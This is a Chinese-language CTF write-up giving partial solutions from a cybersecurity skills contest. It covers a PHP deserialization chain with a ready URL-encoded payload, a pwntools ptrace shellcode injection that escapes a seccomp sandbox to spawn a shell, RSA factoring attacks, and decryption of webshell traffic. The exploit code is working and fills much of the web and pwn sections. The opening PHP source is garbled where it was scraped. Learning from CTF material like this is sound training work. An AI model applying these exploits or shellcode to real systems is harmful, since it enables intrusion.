← 返回列表

第二届网络安全行业职业技能大赛-部分题解

聚合站 SecWiki技术 作者 看雪学苑 发布 2026年1月24日 17:59 入库 2026-11-18T02:47:47

由于相关题目稀缺难以收集,以下为部分题解。题目可能会缺失,欢迎也恳请有资源者补充相关题目。同时因为没法验证答案,可能存在错误,如有问题敬请批评指正。

01

t2_2 Web

PHP反序列化。

mod1;$s();}}classo_ljiot{public$mod1;publicfunctiontest(){$this->mod1->test();}}classo_hjldg{public$mod1;publicfunction__destruct(){$this->mod1->test();}}classo_lijog{publicfunctionget_flag(){include("flag.php");echo$flag;}}classo_iojnd{public$mod1;publicfunction__toString(){$this->mod1->get_flag();return"";}}classo_podjg{public$mod1;public$mod2;publicfunction__invoke(){$this->mod2 ="hello, ".$this->mod1;}}$a= @unserialize($_GET['welcome']);thrownewException('What happened?');echo$a; 构造以下代码。 $get_flag=newo_lijog();$toString=newo_iojnd();$toString->mod1 =$get_flag;$invoke=newo_podjg();$invoke->mod1 =$toString;$call=newo_dfgdf();$call->mod1 =$invoke;$test=newo_ljiot();$test->mod1 =$call;$destruct=newo_hjldg();$destruct->mod1 =$test;$gc=array($destruct,0);$welcome=serialize($gc);$welcome[-7] ='0';echourlencode($welcome); 得到payload。 a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22o_hjldg%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_ljiot%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_dfgdf%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_podjg%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_iojnd%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_lijog%22%3A0%3A%7B%7D%7Ds%3A4%3A%22mod2%22%3BN%3B%7D%7D%7D%7Di%3A0%3Bi%3A0%3B%7D 02 t2_3 Pwn 常规Pwn题目,典型的板子题目。 分析思路 检查checksec和seccomp,查看伪代码。 Arch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE(0x400000)SHSTK:EnabledIBT:EnabledStripped:No 注意到No PIE,这对解题有用。 lineCODEJTJFK=================================0000:0x200x000x000x00000004A=arch0001:0x150x000x090xc000003eif(A!=ARCH_X86_64)goto00110002:0x200x000x000x00000000A=sys_number0003:0x350x000x010x40000000if(A<0x40000000)goto00050004:0x150x000x060xffffffffif(A!=0xffffffff)goto00110005:0x150x050x000x00000000if(A==read)goto00110006:0x150x040x000x00000013if(A==readv)goto00110007:0x150x030x000x0000002aif(A==connect)goto00110008:0x150x020x000x00000039if(A==fork)goto00110009:0x150x010x000x00000142if(A==execveat)goto00110010:0x060x000x000x7fff0000returnALLOW0011:0x060x000x000x00000000returnKILL 虽然没有过滤execve,但是直接执行execve("/bin/sh", 0, 0)是不可行的。因为执行中同样适用read被禁用的规则,而执行必然调用read。 int__fastcallmain(intargc,constchar**argv,constchar**envp){__pid_tv4;// [rsp+4h] [rbp-Ch]init(argc, argv, envp);v4 = fork();if( v4 ){printf("pid: %d\n", v4);mmap((void*)0x10000,0x1000u,7,50,-1,0);read(0, (void*)0x10000,0x1000u);sandbox();MEMORY[0x10000]();}else{love();}return0;} 符合以下特征。 父子进程,子进程pid已知。 父进程启用了seccomp沙箱,但ptrace系统调用未被过滤。 子进程未启用seccomp沙箱。 子进程可执行地址已知。 解题模板 对于符合此类特征的题目,直接使用模板即可。 与此类似的题目例如NepCTF 2025 smallbox。【参考1、参考2】区别是原题的子进程可执行地址是由mmap固定分配的,而此题的子进程可执行地址可借用原始代码段(回顾:No PIE)。 from pwn import *context(os="linux", arch="amd64", log_level="debug")fork_shellcode = b"\x90"* 2fork_shellcode += asm(shellcraft.sh())while len(fork_shellcode) % 8 != 0:fork_shellcode += b"\x90"fork_shellcode_u64 = [u64(fork_shellcode[i : i + 8]) for i in range(0, len(fork_shellcode), 8)]PTRACE_PEEKDATA = 2PTRACE_POKEDATA = 5PTRACE_GETREGS = 12PTRACE_SETREGS = 13PTRACE_ATTACH = 16PTRACE_DETACH = 17main_shellcode = asm("mov r14d, [rbp-0xC]")pid ="r14"main_shellcode += asm(shellcraft.ptrace(PTRACE_ATTACH, pid, 0, 0))main_shellcode += asm(shellcraft.wait4(pid, 0, 0, 0))fork_exec_addr = 0x401170for idx, i in enumerate(fork_shellcode_u64):main_shellcode += asm(shellcraft.ptrace(PTRACE_POKEDATA, pid, fork_exec_addr + idx * 8, i))main_regs_addr = 0x10000 + 0x500main_shellcode += asm(shellcraft.ptrace(PTRACE_GETREGS, pid, 0, main_regs_addr))main_shellcode += asm("mov rax, 0x{:X}".format(main_regs_addr))main_shellcode += asm("mov rdx, 0x{:X}".format(fork_exec_addr + 2))main_shellcode += asm("mov [rax+0x80], rdx")main_shellcode += asm(shellcraft.ptrace(PTRACE_SETREGS, pid, 0, main_regs_addr))main_shellcode += asm(shellcraft.ptrace(PTRACE_DETACH, pid, 0, 0))main_shellcode += asm("jmp $")io = process("./ezpwn")io.send(main_shellcode)io.interactive() 碎碎念(划重点) 整体逻辑较为简单,但有部分要点需要强调。 Q1:为什么使用汇编获取pid? 在本题中,pid是被直接输出的,因此可以通过io获取。但是考虑到通用性,有时题目不会输出pid,但以上结果可能被暂存在堆栈或寄存器中,因此使用汇编获取。此外,若采用将pid嵌入汇编源码的方式,由于asm每次汇编需要时间,而相同代码汇编可以利用缓存,为提高效率,防止超时,使用固定寄存器也是合理的。 Q2:为什么前置b"\x90" * 2,并跳转到fork_exec_addr + 2? 原题中没有体现这点,不完成这一操作也可打通。但此题有相当大概率不行。关键原因在于是否存在系统调用。 // 原题逻辑while(1);// 本题逻辑for( i =0; i <=2999; ++i ){puts("i love you");result =sleep(1u);} 原题是死循环,未涉及系统调用。而本题则包含系统调用。这到底意味着什么呢?这里涉及到Linux代码追溯至0.12版本(1992年,非常早,当时Linux还是按版本而非补丁发布)开始引入的代码行为。 if((orig_eax != -1) &&((eax == -ERESTARTSYS) || (eax == -ERESTARTNOINTR))) {if((eax == -ERESTARTSYS) && ((sa->sa_flags & SA_INTERRUPT) ||signr < SIGCONT || signr > SIGTTOU))*(&eax) = -EINTR;else{*(&eax) = orig_eax;*(&eip) = old_eip -= 2;}} 例如本题,如果中断在系统调用之间,则会回退2字节,例如原题,如果不中断在系统调用之间,则无此烦恼。为了使得代码通用,我们前置b"\x90" * 2,并跳转到fork_exec_addr + 2。【参考】 03 t3_1 Crypto 经典RSA题目。 step1 fromCrypto.Util.numberimport*fromsecretimportflage =65537m = bytes_to_long(flag.encode())p = getPrime(256)q1, q2 = getPrime(256), getPrime(256)n1 = p*q1n2 = p*q2c1 =pow(m, e, n1)c2 =pow(m, e, n2)print("n1 = {}\nn2 = {}".format(n1, n2))print("c1 = {}\nc2 = {}".format(c1, c2))# n1 = ...# n2 = ...# c1 = ...# c2 = ... 关注到n1和n2有最大公因数p,然后可得到q1、q2。 from Crypto.Util.number import *from math import gcdn1 = ...n2 = ...c1 = ...c2 = ...e = 65537p = gcd(n1, n2)q1 = n1 // pq2 = n2 // pphi1 = (p - 1) * (q1 - 1)phi2 = (p - 1) * (q2 - 1)assert gcd(phi1, e) == 1assert gcd(phi2, e) == 1d1 = pow(e, -1, phi1)d2 = pow(e, -1, phi2)m1 = pow(c1, d1, n1)m2 = pow(c2, d2, n2)assert m1 == m2print(long_to_bytes(m1).decode()) 得到前半部分结果flag="flag{d963aed3-87d3"。 step2 #encoding:utf-8fromCrypto.Util.numberimportlong_to_bytes, bytes_to_long, getPrimeimportrandom, gmpy2classRSAEncryptor:def__init__(self):self.g = self.a = self.b =0self.e =65537self.factorGen()self.product()deffactorGen(self):whileTrue:self.g = getPrime(256)whileTrue:self.a = random.randrange(1<<273,1<<274)ifgmpy2.is_prime(2*self.g*self.a +1):breakwhileTrue:self.b = random.randrange(1<<273,1<<274)ifgmpy2.is_prime(2*self.g*self.b +1)andself.b != self.a:breakself.h =2*self.g*self.a*self.b + self.a + self.bself.N =2*self.g*self.h +1returndefencrypt(self, msg_int):returnint(gmpy2.powmod(msg_int, self.e, self.N))defproduct(self):withopen('/flag','rb')asf:raw = f.read().strip()m = bytes_to_long(raw)self.enc = self.encrypt(m)self.show()print(f'enc={self.enc}')defshow(self):print(f"N={self.N}")print(f"e={self.e}")print(f"g={self.g}")RSAEncryptor()# N=...# e=65537# g=...# r=2# enc=... 好的,题目也不知道哪里拼来改的,我也不知道给出的r是个啥。也就是给出N、e、enc、g要求m。 此题为共素数RSA。【参考】 直接使用文章中的脚本。先简单计算下相关的参数,判断符合文章“1.3.3. 已知 g”一节中“g < a + b”的情况。 frommathimportlogN = ...e = ...g = ...enc = ...print("g = {}".format(g))print("N = {}".format(N))print("nbits = {}".format(len(bin(N)[2:])))print("gbits = {}".format(len(bin(g)[2:])))print("gamma = {}".format(log(g, N))) 稍微扩大范围。 from sage.groups.generic import bsgsg = ...N = ...nbits = ...gbits = ...gamma = ...cbits = ceil(nbits * (0.5 - 2 * gamma))M = (N - 1) // (2 * g)u = M // (2 * g)v = M - 2 * g * uGF = Zmod(N)x = GF.random_element()y = x ^ (2 * g)# c的范围大概与N^(0.5-2*gamma)很接近c = bsgs(y, y ^ u, ((2 ** (cbits - 2)), (2 ** (cbits + 2))))ab = u - capb = v + 2 * g * cP. = ZZ[]f = x ^ 2 - apb * x + aba = f.roots()if a:a, b = a[0][0], a[1][0]p = 2 * g * a + 1q = 2 * g * b + 1assert p * q == Nprint(p)print(q) 得到p、q后直接解密即可。 from Crypto.Util.number import *p = ...q = ...N = p * qe = ...enc = ...d = inverse(e, (p - 1) * (q - 1))m = pow(enc, d, N)print(long_to_bytes(m).decode()) 得到后半部分结果-11f0-88f5-7cb56648c636}。 04 t3_2 Reverse 简单Reverse题目。换表Base64。 码表:abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ=编码:zAL7zRHfyxnTxOj7yB/5uAv71fXszxz/2Bn/iteMmNeMmOfcqcnX解码:flag{Easy_Baby_Real_Reverse!123123AB@#} 05 t3_3 Misc + Crypto 流量分析题目,套娃公钥密码。 流量分析部分 开幕雷击。上传了木马shell.php。题目把密码rebeyond给我们了。 提前准备CyberChef解密请求体。 From_Base64('A-Za-z0-9+/=',true,false)AES_Decrypt({'option':'Latin1','string':'e45e329feb5d925b'},{'option':'Hex','string':'00000000000000000000000000000000'},'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})Drop_bytes(0,27,false)Drop_bytes(-4,4,false)From_Base64('A-Za-z0-9+/=',true,false)Syntax_highlighter('php') 提前准备CyberChef解密响应体。 From_Base64('A-Za-z0-9+/=',true,false)AES_Decrypt({'option':'Latin1','string':'e45e329feb5d925b'},{'option':'Hex','string':'00000000000000000000000000000000'},'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})Find_/_Replace({'option':'Regex','string':'{"status":"([^"]+)","msg":"([^"]+)"}'},'$1\\n$2',true,false,true,false)Fork('\\n','\\n',false)From_Base64('A-Za-z0-9+/=',true,false) 使用过滤器http.request.method == POST && http.request.uri contains shell.php,结果如下。 294 33.409864 192.168.1.14 192.168.1.12 HTTP 452 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1 (application/x-www-form-urlencoded)312 33.792878 192.168.1.14 192.168.1.12 HTTP 534 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1 (application/x-www-form-urlencoded)1017 38.773122 192.168.1.14 192.168.1.12 HTTP 166 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1 (application/x-www-form-urlencoded)1390 38.804467 192.168.1.14 192.168.1.12 HTTP 166 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1 (application/x-www-form-urlencoded)1996 48.567286 192.168.1.14 192.168.1.12 HTTP 378 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1 (application/x-www-form-urlencoded)2379 48.693867 192.168.1.14 192.168.1.12 HTTP 270 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1 (application/x-www-form-urlencoded) 遇到混淆流量,追踪HTTP流可能会有问题,故追踪TCP流。逐条分析,主要包括连接验证流量、系统信息流量、列举目录流量、下载文件流量(下载文件为/Users/g0fl1er/website/train/upload/d41d8cd98f00b204e9800998ecf8427e/data.zip,保存文件后续分析)、校验文件流量(文件哈希c8f82d835a75f23c)。 公钥密码部分 data.zip内容如下。 hint.txt 尝试在publickey1.pem和publickey2.pem寻找关键信息去破解他吧n1=p*qfromhashlibimport*flag='flag{'+md5(str(p).encode()+str(q).encode()).hexdigest()+'}'print(flag) publickey1.pem -----BEGINPUBLICKEY-----MIIBHjANBgkqhkiG9w0BAQEFAAOCAQsAMIIBBgKBgD8CMX/+GnYc4ejOdOuLWt2FLGdfPjnsuEZFIXMjY2lbZ0IMoSVvwu78uQGeyYGbO/LFG5WsjMBdIK8+/gpOsug1fKVA7Hs/DjKsqx83WKZbowbmnf+39xyEc+89ADIHW9rOjJhZh1BMFEOmuqaYW9NhkG6O8iHgSmxf0/gjNDLZAoGAEwp8xsjhZboBN716SZ2j05koifmb839mGliEF6aoOi5qmx0C2b6INrdgCh4bWs4ThiL6Fp0t3nNp4vYZaRhXaspheUwfzto2lPc82LKOvg5YN6775Uy/NOwEIDPPfYYxBpiakiSD/md5Q8Vql3jUurxOKKduKTaoCr7M8Gbnf3k=-----ENDPUBLICKEY----- publickey2.pem -----BEGINPUBLICKEY-----MIIBHjANBgkqhkiG9w0BAQEFAAOCAQsAMIIBBgKBgBhvHDyxg3xmDDuGtdv8ugk1ccPV7vWrqVjgZT2qByxaZOv6UeSqAOera4VM8qjhBzrvKTblk3iVdze7VCRvI+5lVgO7xiAA6+6VwHtFYGT/6vTPZLiYIA7YbFv9k2kj4ygceLeElDvLgw+ITfw4Ekfth1vkB6mLyU77/UvPapjBAoGAEwp8xsjhZboBN716SZ2j05koifmb839mGliEF6aoOi5qmx0C2b6INrdgCh4bWs4ThiL6Fp0t3nNp4vYZaRhXaspheUwfzto2lPc82LKOvg5YN6775Uy/NOwEIDPPfYYxBpiakiSD/md5Q8Vql3jUurxOKKduKTaoCr7M8Gbnf3k=-----ENDPUBLICKEY----- 使用以下CyberChef recipe。 PEM_to_Hex()Parse_ASN.1_hex_string(0,128) 得到: SEQUENCESEQUENCEObjectIdentifier rsaEncryption (12840113549111)NULLBITSTRING, encapsulatesSEQUENCEINTEGER3f02317ffe1a761ce1e8ce74eb8b5add852c675f3e39ecb8464521732363695b67420ca1256fc2eefcb9019ec9819b3bf2c51b95ac8cc05d20af3efe0a4eb2e8357ca540ec7b3f0e32acab1f3758a65ba306e69dffb7f71c8473ef3d0032075bdace8c985987504c1443a6baa6985bd361906e8ef221e04a6c5fd3f8233432d9INTEGER130a7cc6c8e165ba0137bd7a499da3d3992889f99bf37f661a588417a6a83a2e6a9b1d02d9be8836b7600a1e1b5ace138622fa169d2dde7369e2f6196918576aca61794c1fceda3694f73cd8b28ebe0e5837aefbe54cbf34ec042033cf7d863106989a922483fe677943c56a9778d4babc4e28a76e2936a80abeccf066e77f79SEQUENCESEQUENCEObjectIdentifier rsaEncryption (12840113549111)NULLBITSTRING, encapsulatesSEQUENCEINTEGER186f1c3cb1837c660c3b86b5dbfcba093571c3d5eef5aba958e0653daa072c5a64ebfa51e4aa00e7ab6b854cf2a8e1073aef2936e59378957737bb54246f23ee655603bbc62000ebee95c07b456064ffeaf4cf64b898200ed86c5bfd936923e3281c78b784943bcb830f884dfc381247ed875be407a98bc94efbfd4bcf6a98c1INTEGER130a7cc6c8e165ba0137bd7a499da3d3992889f99bf37f661a588417a6a83a2e6a9b1d02d9be8836b7600a1e1b5ace138622fa169d2dde7369e2f6196918576aca61794c1fceda3694f73cd8b28ebe0e5837aefbe54cbf34ec042033cf7d863106989a922483fe677943c56a9778d4babc4e28a76e2936a80abeccf066e77f79 在PEM中,上面的为模数,下面的为指数。或者使用脚本也可自动解析这一点。 fromcryptography.hazmat.primitivesimportserializationwithopen("publickey1.pem","rb")asf:pk1 = serialization.load_pem_public_key(f.read())pn1 = pk1.public_numbers()withopen("publickey2.pem","rb")asf:pk2 = serialization.load_pem_public_key(f.read())pn2 = pk2.public_numbers()n1 = pn1.nn2 = pn2.nassertpn1.e == pn2.ee = pn1.eprint(f"{n1 = }")print(f"{n2 = }")print(f"{e = }") 在Misc题目里面塞Crypto题目是令人无语的。已知n1、n2、e。小伙伴们可能会问,能解?嘿,还别说,出题人设计了n1、n2有相同的d。别问,问就是出题人也没说,问就是做题经验,反正我没有。【参考】 先用SageMath跑出d。直接用上述文章中的脚本。 n1 = ...n2 = ...e = ...A = e / ZZ(isqrt(n1))B = matrix.diagonal([A, -n1, -n2], sparse=False)B[0, 1:] = eL = B.LLL()d = L[0, 0]d = d // Aprint(f"{d = }") 再根据n、e、d求出p、q。借用不知何处找来的脚本。 frommathimportgcdimportrandomn = ...e = ...d = ...k = e * d -1r = kt =0whileTrue:r = r //2t +=1ifr %2==1:breaksuccess =Falseforiinrange(1,101):g = random.randint(0, n)y =pow(g, r, n)ify ==1ory == n -1:continueforjinrange(1, t):x =pow(y,2, n)ifx ==1:success =Truebreakelifx == n -1:continueelse:y = xifsuccess:breakelse:continueifsuccess:p = gcd(y -1, n)q = n // passertn == p * qp, q =max(p, q),min(p, q)print(f"P:{p}")print(f"Q:{q}")else:print("Cannot compute P and Q") 按照hint.txt计算即可。咱也不知道他的p、q分别是啥。一般认为p > q吧…… 06 t3_7 Misc 简单Misc题目。修复PNG图片宽高。 python fix_png_size.pyautumn1.pngautumn1.fix.pngCracking autumn1.pngfor CRC b038c084...Found size1575x955!Fixed file writtentoautumn1.fix.png. 修复后: ![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8GdwxLUFnHGKAXsskt3KflDOEPx3tnoyWZDE346SdkkIzBbic90WCjMtuvTvlM6IdZa9PORVV6N0mQ/640?wx_fmt=other&from=appmsg#imgIndex=0) 图中可见flag。 07 致谢 由于是资源整合文章,照搬照抄了众多脚本,许多来源已经不可考。总有一天我要不做脚本小子。以下列出我能够找到ID的,按照首次出现在本文的顺序排序。 zer00ne Real返璞归真 Ori David hasegawaazusa 待补充 ![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8GU7Z2cSK0VVkqRmRTec3xAgVVRxYEFToJkkr0neKaKsZvj8Cn2c1USqTTVjktZmMxTbHGxLsYOqA/640?wx_fmt=png&from=appmsg#imgIndex=2) 看雪ID:UserXCh https://bbs.kanxue.com/user-home-726188.htm *本文为看雪论坛优秀文章,由UserXCh原创,转载请注明来自看雪社区 ![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8Fico5ETXWCupokxJXrH5kscFicPN3PKPxvr0VZxMPJC5qvuGrZBicG9DW8bzxTvPlPCvKBO2arb5pHg/640?wx_fmt=jpeg&from=appmsg#imgIndex=3) # 往期推荐 逆向分析某手游基于异常的内存保护 解决Il2cppapi混淆,通杀DumpUnityCs文件 记录一次Unity加固的探索与实现 DLINK路由器命令注入漏洞从1DAY到0DAY 量子安全 quantum ctf Global Hyperlink Zone Hack the box ![](https://mmbiz.qpic.cn/mmbiz_jpg/Uia4617poZXP96fGaMPXib13V1bJ52yHq9ycD9Zv3WhiaRb2rKV6wghrNa4VyFR2wibBVNfZt3M5IuUiauQGHvxhQrA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=4) ![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ/640?wx_fmt=gif&from=appmsg#imgIndex=5) 球分享 ![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ/640?wx_fmt=gif&from=appmsg#imgIndex=6) 球点赞 ![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpvJW9icibkZBj9PNBzyQ4d4JFoAKxdnPqHWpMPQfNysVmcL1dtRqU7VyQ/640?wx_fmt=gif&from=appmsg#imgIndex=7) 球在看 ![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8Hice1nuesdoDZjYQzRMv9tpUHZDmkBpJ4khdIdVhiaSyOkxtAWuxJuTAs8aXISicVVUbxX09b1IWK0g/640?wx_fmt=gif&from=appmsg#imgIndex=8) 点击阅读原文查看更多 ?>
原文链接:https://mp.weixin.qq.com/s/QMqx156NRAMSYtty_kjnrQ